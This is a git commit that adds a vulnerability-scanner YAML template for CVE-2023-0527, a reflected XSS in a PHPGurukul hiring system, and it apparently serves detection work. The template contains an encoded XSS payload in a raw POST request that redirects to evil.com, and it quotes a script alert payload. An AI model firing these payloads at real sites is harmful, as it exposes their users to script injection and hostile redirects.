Create CVE-2023-0527.yaml

patch-1
Harsh Yadav 2023-06-26 21:36:27 +05:30 committed by GitHub
parent e380f501fe
commit cc6d721634
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 38 additions and 0 deletions

View File

@ -0,0 +1,38 @@
id: CVE-2023-0527
info:
name: Online Security Guards Hiring System - Reflected XSS
author: Harsh
severity: medium
description: |
A vulnerability was found in PHPGurukul Online Security Guards Hiring System 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file search-request.php. The manipulation of the argument searchdata with the input "><script>alert(document.domain)</script> leads to cross site scripting. The attack may be launched remotely.
reference:
- https://vuldb.com/?ctiid.219596
- https://nvd.nist.gov/vuln/detail/CVE-2023-0527
- https://github.com/ctflearner/Vulnerability/blob/main/Online-Security-guard-POC.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-0527
cwe-id: CWE-79
metadata:
verified: true
tags: cve,cve2023,osghs,xss,unauthenticated,reflected
http:
- raw:
- |
POST /osghs/search-request.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
searchdata=%3Cimg+src%3D%22%23%22+onerror%3D%22location.href%3D%27http%3A%2F%2Fevil.com%27%3B%22%3E&search=
cookie-reuse: true
redirects: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "Online Security Gauard Hiring System |Search Request")'
- 'contains(body, "evil.com")'
condition: and